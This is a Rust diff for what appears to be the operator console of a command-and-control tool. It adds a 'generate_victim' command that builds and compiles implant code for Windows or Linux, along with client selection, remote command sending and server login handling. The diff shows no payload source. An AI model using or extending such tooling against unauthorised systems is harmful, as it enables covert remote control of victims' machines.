if text.to_lowercase().contains("error") {
|
||||||
.collect();
|
let line = line.style(Style::default().fg(Color::Red));
|
||||||
|
output_lines.push(line);
|
||||||
|
} else if text.to_lowercase().contains("success") {
|
||||||
|
let line = line.style(Style::default().fg(Color::Green));
|
||||||
|
output_lines.push(line);
|
||||||
|
} else {
|
||||||
|
output_lines.push(line);
|
||||||
|
}
|
||||||
|
});
|
||||||
let text_area_height = top_chunks[1].height.saturating_sub(2) as usize;
|
let text_area_height = top_chunks[1].height.saturating_sub(2) as usize;
|
||||||
|
let max_scroll = state.output.len().saturating_sub(text_area_height);
|
||||||
|
if state.output_follow {
|
||||||
|
state.output_scroll = max_scroll as u16;
|
||||||
|
}
|
||||||
|
state.output_scroll = state.output_scroll.min(max_scroll as u16);
|
||||||
if state.output_scroll == u16::MAX {
|
if state.output_scroll == u16::MAX {
|
||||||
if state.output.len() > text_area_height {
|
if state.output.len() > text_area_height {
|
||||||
state.output_scroll = (state.output.len() - text_area_height) as u16;
|
state.output_scroll = (state.output.len() - text_area_height) as u16;
|
||||||
@@ -213,8 +228,7 @@ pub fn run_tui(
|
|||||||
.borders(Borders::ALL)
|
.borders(Borders::ALL)
|
||||||
.title(" Script Engine Output "),
|
.title(" Script Engine Output "),
|
||||||
)
|
)
|
||||||
.scroll((state.output_scroll, 0))
|
.scroll((state.output_scroll, 0));
|
||||||
.wrap(ratatui::widgets::Wrap { trim: false });
|
|
||||||
|
|
||||||
f.render_widget(output_paragraph, top_chunks[1]);
|
f.render_widget(output_paragraph, top_chunks[1]);
|
||||||
let input_paragraph = Paragraph::new(state.curent_intput.as_str()).block(
|
let input_paragraph = Paragraph::new(state.curent_intput.as_str()).block(
|
||||||
@@ -225,7 +239,7 @@ pub fn run_tui(
|
|||||||
|
|
||||||
f.render_widget(input_paragraph, main_chunks[1]);
|
f.render_widget(input_paragraph, main_chunks[1]);
|
||||||
})?;
|
})?;
|
||||||
if let Ok(event) = event_rx.recv() {
|
if let Ok(event) = event_rx.recv_timeout(Duration::from_millis(100)) {
|
||||||
match event {
|
match event {
|
||||||
AppEvent::Worker(msg) => match msg {
|
AppEvent::Worker(msg) => match msg {
|
||||||
ToolMessage::EndPrompt => {
|
ToolMessage::EndPrompt => {
|
||||||
@@ -241,9 +255,26 @@ pub fn run_tui(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
ToolMessage::Output((rid, txt)) => {
|
ToolMessage::Output((rid, txt)) => {
|
||||||
|
if txt.to_lowercase().contains("[error]") {
|
||||||
|
let (_, output) = txt.split_once("]").unwrap();
|
||||||
|
for line in
|
||||||
|
textwrap::wrap(output, text_area_width.saturating_sub(6) as usize)
|
||||||
|
{
|
||||||
|
state.output.push(format!("error: {}", line.to_string()));
|
||||||
|
}
|
||||||
|
} else if txt.contains("[success]") {
|
||||||
|
let (_, output) = txt.split_once("]").unwrap();
|
||||||
|
for line in
|
||||||
|
textwrap::wrap(output, text_area_width.saturating_sub(9) as usize)
|
||||||
|
{
|
||||||
|
state.output.push(format!("success: {}", line.to_string()));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
for line in textwrap::wrap(&txt, text_area_width as usize) {
|
||||||
|
state.output.push(line.to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
state.log.push(txt.clone());
|
state.log.push(txt.clone());
|
||||||
state.output.push(txt.clone());
|
|
||||||
state.output_scroll = u16::MAX;
|
|
||||||
if rid != 0 {
|
if rid != 0 {
|
||||||
if let Some(server) = state.servers.get(state.selected_server) {
|
if let Some(server) = state.servers.get(state.selected_server) {
|
||||||
if let Ok(mut server) = server.lock() {
|
if let Ok(mut server) = server.lock() {
|
||||||
@@ -319,30 +350,38 @@ pub fn run_tui(
|
|||||||
}
|
}
|
||||||
ToolMessage::ConnectServer => {
|
ToolMessage::ConnectServer => {
|
||||||
if let Some(server) = state.servers.get_mut(state.selected_server) {
|
if let Some(server) = state.servers.get_mut(state.selected_server) {
|
||||||
|
let _ = state.main_tx.send(ToolMessage::Output((
|
||||||
|
0,
|
||||||
|
"[success] Found Server in list!".to_string(),
|
||||||
|
)));
|
||||||
let mut address = String::new();
|
let mut address = String::new();
|
||||||
let lock_res = server.try_lock();
|
let lock_res = server.try_lock();
|
||||||
let mut connected = false;
|
let mut connected = false;
|
||||||
match lock_res {
|
match lock_res {
|
||||||
Ok(mut locked_server) => match locked_server.connect() {
|
Ok(mut locked_server) => match locked_server.connect() {
|
||||||
Ok(id) => {
|
Ok(id) => {
|
||||||
state.output.push(format!(
|
let _ = state.main_tx.send(ToolMessage::Output((
|
||||||
"Server Connected! ID:{} ADDRESS:{}",
|
0,
|
||||||
|
format!(
|
||||||
|
"[success] Server Connected! ID: {} ADDRESS:{}",
|
||||||
id,
|
id,
|
||||||
locked_server.address.clone()
|
locked_server.address.clone()
|
||||||
));
|
),
|
||||||
|
)));
|
||||||
address = locked_server.address.clone();
|
address = locked_server.address.clone();
|
||||||
connected = true;
|
connected = true;
|
||||||
}
|
}
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
state
|
let _ = state.main_tx.send(ToolMessage::Output((
|
||||||
.output
|
0,
|
||||||
.push(format!("Error connecting to server {e}"));
|
format!("[error] connecting to server {e}"),
|
||||||
|
)));
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
state
|
state
|
||||||
.output
|
.output
|
||||||
.push(format!("Error locking server state! {e}"));
|
.push(format!("[error] locking server state! {e}"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if connected {
|
if connected {
|
||||||
@@ -374,21 +413,33 @@ pub fn run_tui(
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
"CMD" => {
|
"CMD" => {
|
||||||
|
if data.contains("SET_NAME") {
|
||||||
|
if let Some((_, name)) =
|
||||||
|
data.split_once("|")
|
||||||
|
{
|
||||||
|
locked_server.name =
|
||||||
|
name.trim()
|
||||||
|
.to_string();
|
||||||
|
}
|
||||||
|
} else {
|
||||||
let _ = tx_clone.send(
|
let _ = tx_clone.send(
|
||||||
ToolMessage::Input((
|
ToolMessage::Input((
|
||||||
locked_server
|
locked_server
|
||||||
.client_id
|
.client_id
|
||||||
.clone(),
|
.clone(),
|
||||||
data.trim().to_string(),
|
data.trim()
|
||||||
|
.to_string(),
|
||||||
)),
|
)),
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
_ => {}
|
_ => {}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
match action.as_str() {
|
match action.as_str() {
|
||||||
"disconnect" => {
|
"disconnect" => {
|
||||||
locked_server.connected = false;
|
let _ =
|
||||||
|
locked_server.disconnect();
|
||||||
stop = true;
|
stop = true;
|
||||||
}
|
}
|
||||||
_ => {
|
_ => {
|
||||||
@@ -406,12 +457,19 @@ pub fn run_tui(
|
|||||||
locked_server.action_que.clear();
|
locked_server.action_que.clear();
|
||||||
if locked_server.message_que.is_empty() {
|
if locked_server.message_que.is_empty() {
|
||||||
let id = locked_server.client_id.clone();
|
let id = locked_server.client_id.clone();
|
||||||
locked_server
|
let pass = locked_server.password.clone();
|
||||||
.message_que
|
locked_server.message_que.push(format!(
|
||||||
.push(format!("{}|||PING\n", id));
|
"{}**{}|||PING\n",
|
||||||
|
pass, id
|
||||||
|
));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Err(_) => {}
|
Err(_) => {
|
||||||
|
let _ = tx_clone.send(ToolMessage::Output((
|
||||||
|
0,
|
||||||
|
"Couldn't lock server!".to_string(),
|
||||||
|
)));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if stop {
|
if stop {
|
||||||
@@ -423,6 +481,11 @@ pub fn run_tui(
|
|||||||
});
|
});
|
||||||
handles.push(server_handle);
|
handles.push(server_handle);
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
let _ = state.main_tx.send(ToolMessage::Output((
|
||||||
|
0,
|
||||||
|
"Couldn't Find selected Server!".to_string(),
|
||||||
|
)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
ToolMessage::SendServer(data) => {
|
ToolMessage::SendServer(data) => {
|
||||||
@@ -457,9 +520,16 @@ pub fn run_tui(
|
|||||||
let trimmed = state.curent_intput.trim().to_string();
|
let trimmed = state.curent_intput.trim().to_string();
|
||||||
if !trimmed.is_empty() {
|
if !trimmed.is_empty() {
|
||||||
state.history.push(trimmed.clone());
|
state.history.push(trimmed.clone());
|
||||||
state.output.push("\n".to_string());
|
let _ = state
|
||||||
state.output.push(format!("[user input] > {}", trimmed));
|
.main_tx
|
||||||
state.output.push("\n".to_string());
|
.send(ToolMessage::Output((0, "\n".to_string())));
|
||||||
|
let _ = state.main_tx.send(ToolMessage::Output((
|
||||||
|
0,
|
||||||
|
format!("[user input] > {}", trimmed),
|
||||||
|
)));
|
||||||
|
let _ = state
|
||||||
|
.main_tx
|
||||||
|
.send(ToolMessage::Output((0, "\n".to_string())));
|
||||||
let prompt = state.prompt.clone();
|
let prompt = state.prompt.clone();
|
||||||
if prompt.action.is_some() {
|
if prompt.action.is_some() {
|
||||||
state.prompt.responses.push(trimmed.clone());
|
state.prompt.responses.push(trimmed.clone());
|
||||||
@@ -469,22 +539,32 @@ pub fn run_tui(
|
|||||||
None,
|
None,
|
||||||
0,
|
0,
|
||||||
)?;
|
)?;
|
||||||
|
let _ = state.main_tx.send(ToolMessage::Output((
|
||||||
|
0,
|
||||||
|
format!("{}", prompt.execute_command),
|
||||||
|
)));
|
||||||
} else {
|
} else {
|
||||||
state.execute_command("prompt", None, 0)?;
|
state.execute_command("prompt", None, 0)?;
|
||||||
}
|
}
|
||||||
}
|
} else {
|
||||||
let (command, args) =
|
let (command, args) =
|
||||||
trimmed.split_once(' ').unwrap_or((&trimmed, ""));
|
trimmed.split_once(' ').unwrap_or((&trimmed, ""));
|
||||||
match command {
|
match command {
|
||||||
"exit" | "quit" => break,
|
"exit" | "quit" => break,
|
||||||
"reload-modules" => {
|
"reload-modules" => {
|
||||||
state.initialize_modules();
|
state.initialize_modules();
|
||||||
state.output.push("Reloading module paths...".into());
|
let _ = state.main_tx.send(ToolMessage::Output((
|
||||||
|
0,
|
||||||
|
"Reloading Module Paths...".to_string(),
|
||||||
|
)));
|
||||||
}
|
}
|
||||||
"help" => {
|
"help" => {
|
||||||
let help_text = state.help.clone().join("\n");
|
let help_text = state.help.clone().join("\n");
|
||||||
for line in help_text.lines() {
|
for line in help_text.lines() {
|
||||||
state.output.push(line.to_string());
|
let _ = state.main_tx.send(ToolMessage::Output((
|
||||||
|
0,
|
||||||
|
line.to_string(),
|
||||||
|
)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
"new_project" | "np" => {
|
"new_project" | "np" => {
|
||||||
@@ -495,25 +575,30 @@ pub fn run_tui(
|
|||||||
0,
|
0,
|
||||||
);
|
);
|
||||||
} else {
|
} else {
|
||||||
state
|
state.output.push(
|
||||||
.output
|
"[error]: USAGE -> np <org> <name>".into(),
|
||||||
.push("Error: USAGE -> np <org> <name>".into());
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
command_name => {
|
command_name => {
|
||||||
if state.module_loader.commands.contains_key(command) {
|
if state.module_loader.commands.contains_key(command) {
|
||||||
state.output.push(format!(
|
let _ = state.main_tx.send(ToolMessage::Output((
|
||||||
"[Worker] Executing script '{}'...",
|
0,
|
||||||
|
format!(
|
||||||
|
"[Worker] Executing script {}...",
|
||||||
command_name
|
command_name
|
||||||
));
|
),
|
||||||
|
)));
|
||||||
if let Err(e) = state.execute_command(
|
if let Err(e) = state.execute_command(
|
||||||
command,
|
command,
|
||||||
Some(args.to_string()),
|
Some(args.to_string()),
|
||||||
0,
|
0,
|
||||||
) {
|
) {
|
||||||
state
|
let _ =
|
||||||
.output
|
state.main_tx.send(ToolMessage::Output((
|
||||||
.push(format!("[Error] Pipeline fail: {}", e));
|
0,
|
||||||
|
format!("[error] Pipeline faile: {e}"),
|
||||||
|
)));
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if args == "" {
|
if args == "" {
|
||||||
@@ -528,6 +613,7 @@ pub fn run_tui(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
state.curent_intput.clear();
|
state.curent_intput.clear();
|
||||||
}
|
}
|
||||||
history_index = state.history.len();
|
history_index = state.history.len();
|
||||||
@@ -601,8 +687,10 @@ pub fn run_tui(
|
|||||||
let left_side_cutoff = top_chunks[0].width + top_chunks[1].width;
|
let left_side_cutoff = top_chunks[0].width + top_chunks[1].width;
|
||||||
if mouse.column < left_side_cutoff {
|
if mouse.column < left_side_cutoff {
|
||||||
if mouse.kind == crossterm::event::MouseEventKind::ScrollUp {
|
if mouse.kind == crossterm::event::MouseEventKind::ScrollUp {
|
||||||
|
state.output_follow = false;
|
||||||
state.output_scroll = state.output_scroll.saturating_sub(1);
|
state.output_scroll = state.output_scroll.saturating_sub(1);
|
||||||
} else if mouse.kind == crossterm::event::MouseEventKind::ScrollDown {
|
} else if mouse.kind == crossterm::event::MouseEventKind::ScrollDown {
|
||||||
|
state.output_follow = false;
|
||||||
state.output_scroll = state.output_scroll.saturating_add(1);
|
state.output_scroll = state.output_scroll.saturating_add(1);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
@@ -612,6 +700,14 @@ pub fn run_tui(
|
|||||||
state.info_scroll = state.info_scroll.saturating_add(1);
|
state.info_scroll = state.info_scroll.saturating_add(1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
let max_scroll = state
|
||||||
|
.output
|
||||||
|
.len()
|
||||||
|
.saturating_sub(top_chunks[1].height.saturating_sub(2) as usize)
|
||||||
|
as u16;
|
||||||
|
if state.output_scroll >= max_scroll {
|
||||||
|
state.output_follow = true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+177
-51
@@ -1,5 +1,6 @@
|
|||||||
use fs_extra::dir::{CopyOptions, copy};
|
use fs_extra::dir::{CopyOptions, copy};
|
||||||
use ipnet::IpNet;
|
use ipnet::IpNet;
|
||||||
|
use keyring::Entry;
|
||||||
use ratatui::crossterm::event;
|
use ratatui::crossterm::event;
|
||||||
use rhai::{AST, Dynamic, Engine, Scope};
|
use rhai::{AST, Dynamic, Engine, Scope};
|
||||||
use rustls::{ClientConfig, ClientConnection, RootCertStore, StreamOwned, pki_types::ServerName};
|
use rustls::{ClientConfig, ClientConnection, RootCertStore, StreamOwned, pki_types::ServerName};
|
||||||
@@ -18,6 +19,7 @@ use std::time::{self, Instant};
|
|||||||
|
|
||||||
pub mod funcs;
|
pub mod funcs;
|
||||||
pub mod server;
|
pub mod server;
|
||||||
|
pub mod victim;
|
||||||
|
|
||||||
enum AppEvent {
|
enum AppEvent {
|
||||||
Key(event::KeyEvent),
|
Key(event::KeyEvent),
|
||||||
@@ -81,12 +83,14 @@ pub struct AppState {
|
|||||||
pub curent_intput: String,
|
pub curent_intput: String,
|
||||||
pub module_loader: ModuleLoader,
|
pub module_loader: ModuleLoader,
|
||||||
pub output_scroll: u16,
|
pub output_scroll: u16,
|
||||||
|
pub output_follow: bool,
|
||||||
prompt: Prompt,
|
prompt: Prompt,
|
||||||
pub info_scroll: u16,
|
pub info_scroll: u16,
|
||||||
pub server_broker_running: bool,
|
pub server_broker_running: bool,
|
||||||
pub app_state_running: bool,
|
pub app_state_running: bool,
|
||||||
pub remoting: bool,
|
pub remoting: bool,
|
||||||
pub help: Vec<String>,
|
pub help: Vec<String>,
|
||||||
|
pub name: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl AppState {
|
impl AppState {
|
||||||
@@ -112,6 +116,7 @@ impl AppState {
|
|||||||
curent_intput: String::new(),
|
curent_intput: String::new(),
|
||||||
module_loader: ModuleLoader::new(),
|
module_loader: ModuleLoader::new(),
|
||||||
output_scroll: 0,
|
output_scroll: 0,
|
||||||
|
output_follow: true,
|
||||||
prompt: Prompt {
|
prompt: Prompt {
|
||||||
action: None,
|
action: None,
|
||||||
responses: Vec::new(),
|
responses: Vec::new(),
|
||||||
@@ -124,6 +129,7 @@ impl AppState {
|
|||||||
app_state_running: true,
|
app_state_running: true,
|
||||||
remoting: false,
|
remoting: false,
|
||||||
help: Vec::new(),
|
help: Vec::new(),
|
||||||
|
name: String::new(),
|
||||||
},
|
},
|
||||||
main_rx,
|
main_rx,
|
||||||
)
|
)
|
||||||
@@ -137,8 +143,8 @@ impl AppState {
|
|||||||
if parts.len() == 2 {
|
if parts.len() == 2 {
|
||||||
match parts[0].trim() {
|
match parts[0].trim() {
|
||||||
"servers" => {
|
"servers" => {
|
||||||
let addresses: Vec<&str> = parts[1].trim().split(", ").collect();
|
for server_data in parts[1].trim().split(", ").collect::<Vec<&str>>() {
|
||||||
for address in addresses {
|
if let Some((address, name)) = server_data.split_once("|") {
|
||||||
let new_server = Server {
|
let new_server = Server {
|
||||||
address: address.trim().to_string(),
|
address: address.trim().to_string(),
|
||||||
connected: false,
|
connected: false,
|
||||||
@@ -149,11 +155,16 @@ impl AppState {
|
|||||||
client_id: 0,
|
client_id: 0,
|
||||||
selected_client: 0,
|
selected_client: 0,
|
||||||
config: None,
|
config: None,
|
||||||
|
logged_in: false,
|
||||||
|
password: String::new(),
|
||||||
|
name: name.to_string(),
|
||||||
|
cert_text: String::new(),
|
||||||
};
|
};
|
||||||
self.servers.push(Arc::new(Mutex::new(new_server)));
|
self.servers.push(Arc::new(Mutex::new(new_server)));
|
||||||
}
|
}
|
||||||
|
}
|
||||||
self.config
|
self.config
|
||||||
.insert("servers".to_string(), line.trim().to_string());
|
.insert("servers".to_string(), parts[1].trim().to_string());
|
||||||
}
|
}
|
||||||
_ => {
|
_ => {
|
||||||
if parts[0].len() > 1 {
|
if parts[0].len() > 1 {
|
||||||
@@ -293,15 +304,62 @@ impl AppState {
|
|||||||
if let Err(e) = self.new_project(org.to_string(), name.to_string(), rid) {
|
if let Err(e) = self.new_project(org.to_string(), name.to_string(), rid) {
|
||||||
tx.send(ToolMessage::Output((
|
tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("Error making {}-{}: {e}", org, name),
|
format!("[error] making {}-{}: {e}", org, name),
|
||||||
)))?;
|
)))?;
|
||||||
} else {
|
} else {
|
||||||
tx.send(ToolMessage::Output((
|
tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("{}-{} created successfully!", org, name),
|
format!("[success] {}-{} created!", org, name),
|
||||||
)))?;
|
)))?;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
"generate_victim" => {
|
||||||
|
let mut success = false;
|
||||||
|
if let Some(args) = command_args {
|
||||||
|
if args.split(" ").into_iter().count() == 1 {
|
||||||
|
let mut address = String::new();
|
||||||
|
let mut password = String::new();
|
||||||
|
let config_file = self.config_file.clone();
|
||||||
|
let files = self.projects[self.selected_project].files.clone();
|
||||||
|
let mut cert_text = String::new();
|
||||||
|
if let Ok(lock) = self.servers[self.selected_server].lock() {
|
||||||
|
address = lock.address.clone();
|
||||||
|
password = lock.password.clone();
|
||||||
|
cert_text = lock.cert_text.clone();
|
||||||
|
}
|
||||||
|
match victim::generate_code(
|
||||||
|
address,
|
||||||
|
password,
|
||||||
|
config_file,
|
||||||
|
files,
|
||||||
|
args,
|
||||||
|
self.main_tx.clone(),
|
||||||
|
cert_text,
|
||||||
|
) {
|
||||||
|
Ok(_) => {
|
||||||
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
|
rid,
|
||||||
|
"[Success] Victim code generated! Compilation thread spawned!"
|
||||||
|
.to_string(),
|
||||||
|
)));
|
||||||
|
success = true;
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
|
0,
|
||||||
|
format!("[error] generating victim code: {e}"),
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !success {
|
||||||
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
|
0,
|
||||||
|
format!("Usage: generate_victim (windows/linux)"),
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
"current_project" | "cp" => {
|
"current_project" | "cp" => {
|
||||||
let mut out_vec = Vec::new();
|
let mut out_vec = Vec::new();
|
||||||
out_vec.push(format!(
|
out_vec.push(format!(
|
||||||
@@ -345,13 +403,13 @@ impl AppState {
|
|||||||
Ok(_) => {
|
Ok(_) => {
|
||||||
self.main_tx.send(ToolMessage::Output((
|
self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
String::from("project promoted successfully!"),
|
String::from("[success] project promoted!"),
|
||||||
)))?;
|
)))?;
|
||||||
}
|
}
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
self.main_tx.send(ToolMessage::Output((
|
self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("Error promoting project: {}", e),
|
format!("[error] promoting project: {}", e),
|
||||||
)))?;
|
)))?;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -477,6 +535,10 @@ impl AppState {
|
|||||||
client_id: 0,
|
client_id: 0,
|
||||||
selected_client: 0,
|
selected_client: 0,
|
||||||
config: None,
|
config: None,
|
||||||
|
logged_in: false,
|
||||||
|
password: String::new(),
|
||||||
|
name: String::new(),
|
||||||
|
cert_text: String::new(),
|
||||||
};
|
};
|
||||||
self.servers.push(Arc::new(Mutex::new(new_server)));
|
self.servers.push(Arc::new(Mutex::new(new_server)));
|
||||||
self.prompt.reset();
|
self.prompt.reset();
|
||||||
@@ -491,12 +553,11 @@ impl AppState {
|
|||||||
.send(ToolMessage::Input((0, self.prompt.execute_command.clone())));
|
.send(ToolMessage::Input((0, self.prompt.execute_command.clone())));
|
||||||
let _ = self.main_tx.send(ToolMessage::EndPrompt);
|
let _ = self.main_tx.send(ToolMessage::EndPrompt);
|
||||||
} else {
|
} else {
|
||||||
let mut query = self.prompt.prompts[0].clone();
|
let mut prompt_index = 0;
|
||||||
if self.prompt.responses.len() > 0
|
if self.prompt.responses.len() > 0 {
|
||||||
&& self.prompt.responses.len() < self.prompt.prompts.len()
|
prompt_index = self.prompt.num_responses - self.prompt.responses.len();
|
||||||
{
|
|
||||||
query = self.prompt.prompts[self.prompt.responses.len() - 1].clone();
|
|
||||||
}
|
}
|
||||||
|
let query = self.prompt.prompts[prompt_index].clone();
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((rid, query)));
|
let _ = self.main_tx.send(ToolMessage::Output((rid, query)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -507,16 +568,16 @@ impl AppState {
|
|||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!(
|
format!(
|
||||||
"Server ID:{} Address:{} ClientID:{} Sleep:{} Last:{} - Currently Selected",
|
"Server ID:{} Name:{} Address:{} ClientID:{} Sleep:{} Last:{} Loggedin: {} - Currently Selected",
|
||||||
id, s.address, s.client_id, s.timer.as_secs(), s.last_check.elapsed().as_secs()
|
id, s.name, s.address, s.client_id, s.timer.as_secs(), s.last_check.elapsed().as_secs(), s.logged_in
|
||||||
),
|
),
|
||||||
)));
|
)));
|
||||||
} else {
|
} else {
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!(
|
format!(
|
||||||
"Server ID:{} Address:{} ClientID:{} Sleep:{} Last:{}",
|
"Server ID:{} Name:{} Address:{} ClientID:{} Sleep:{} Last:{}, loggedin: {}",
|
||||||
id, s.address, s.client_id, s.timer.as_secs(), s.last_check.elapsed().as_secs()
|
id, s.name, s.address, s.client_id, s.timer.as_secs(), s.last_check.elapsed().as_secs(), s.logged_in
|
||||||
),
|
),
|
||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
@@ -563,7 +624,7 @@ impl AppState {
|
|||||||
} else {
|
} else {
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
String::from("error selecting server: no prompt responses found!"),
|
String::from("[error] selecting server: no prompt responses found!"),
|
||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
let _ = self.main_tx.send(ToolMessage::EndPrompt);
|
let _ = self.main_tx.send(ToolMessage::EndPrompt);
|
||||||
@@ -573,11 +634,14 @@ impl AppState {
|
|||||||
if let Ok(mut server) = server.lock() {
|
if let Ok(mut server) = server.lock() {
|
||||||
server.message_que.push("TEST|NONE".to_string());
|
server.message_que.push("TEST|NONE".to_string());
|
||||||
} else {
|
} else {
|
||||||
self.output.push(String::from("error getting server lock!"));
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
|
rid,
|
||||||
|
"[error] getting server lock!".to_string(),
|
||||||
|
)));
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
self.output
|
self.output
|
||||||
.push(String::from("Error getting selected server!"));
|
.push(String::from("[error] getting selected server!"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
"server_sleep" => {
|
"server_sleep" => {
|
||||||
@@ -590,20 +654,22 @@ impl AppState {
|
|||||||
.push(format!("Server timer set to {} seconds", seconds));
|
.push(format!("Server timer set to {} seconds", seconds));
|
||||||
} else {
|
} else {
|
||||||
self.output
|
self.output
|
||||||
.push(String::from("error locking server object!"));
|
.push(String::from("[error] locking server object!"));
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
self.output
|
self.output
|
||||||
.push(String::from("error not a valid server selected!"));
|
.push(String::from("[error] not a valid server selected!"));
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
self.output
|
self.output
|
||||||
.push(String::from("invalid second count provided!"));
|
.push(String::from("invalid second count provided!"));
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
self.output.push(String::from(
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
"Error no seconds provided! please use server_sleep number_of_seconds",
|
rid,
|
||||||
));
|
"[error] no seconds provided! please use server_sleep number_of_seconds"
|
||||||
|
.to_string(),
|
||||||
|
)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
"save_all" => {
|
"save_all" => {
|
||||||
@@ -617,11 +683,14 @@ impl AppState {
|
|||||||
if let Ok(mut server) = server.lock() {
|
if let Ok(mut server) = server.lock() {
|
||||||
server.message_que.push("LIST_CLIENTS|NONE".to_string());
|
server.message_que.push("LIST_CLIENTS|NONE".to_string());
|
||||||
} else {
|
} else {
|
||||||
self.output.push(String::from("error getting server lock!"));
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
|
rid,
|
||||||
|
"[error] getting server lock!".to_string(),
|
||||||
|
)));
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
self.output
|
self.output
|
||||||
.push(String::from("Error getting selected server!"));
|
.push(String::from("[error] getting selected server!"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
"select_client" => {
|
"select_client" => {
|
||||||
@@ -639,7 +708,7 @@ impl AppState {
|
|||||||
} else {
|
} else {
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
rid,
|
rid,
|
||||||
format!("error parsing client id from arg: {}", arg),
|
format!("[error] parsing client id from arg: {}", arg),
|
||||||
)));
|
)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -658,7 +727,7 @@ impl AppState {
|
|||||||
server.selected_client = 0;
|
server.selected_client = 0;
|
||||||
let _ = self
|
let _ = self
|
||||||
.main_tx
|
.main_tx
|
||||||
.send(ToolMessage::Output((0, format!("client deselected!"))));
|
.send(ToolMessage::Output((rid, format!("client deselected!"))));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -692,7 +761,7 @@ impl AppState {
|
|||||||
"show_config" | "sc" => {
|
"show_config" | "sc" => {
|
||||||
let _ = self
|
let _ = self
|
||||||
.main_tx
|
.main_tx
|
||||||
.send(ToolMessage::Output((0, "Current Config:".to_string())));
|
.send(ToolMessage::Output((rid, "Current Config:".to_string())));
|
||||||
self.config.iter().for_each(|setting| {
|
self.config.iter().for_each(|setting| {
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
0,
|
0,
|
||||||
@@ -714,7 +783,7 @@ impl AppState {
|
|||||||
} else {
|
} else {
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
0,
|
0,
|
||||||
"Error Unknown setting! {key}, {value}".to_string(),
|
"[error] Unknown setting! {key}, {value}".to_string(),
|
||||||
)));
|
)));
|
||||||
return Ok(());
|
return Ok(());
|
||||||
}
|
}
|
||||||
@@ -725,12 +794,12 @@ impl AppState {
|
|||||||
self.save_config()?;
|
self.save_config()?;
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
0,
|
0,
|
||||||
"Setting changed successfully!".to_string(),
|
"[success]Setting changed!".to_string(),
|
||||||
)));
|
)));
|
||||||
} else {
|
} else {
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
let _ = self.main_tx.send(ToolMessage::Output((
|
||||||
0,
|
0,
|
||||||
"Error malformed command!".to_string(),
|
"[error] malformed command!".to_string(),
|
||||||
)));
|
)));
|
||||||
let _ = self.main_tx.send(ToolMessage::Output((
|
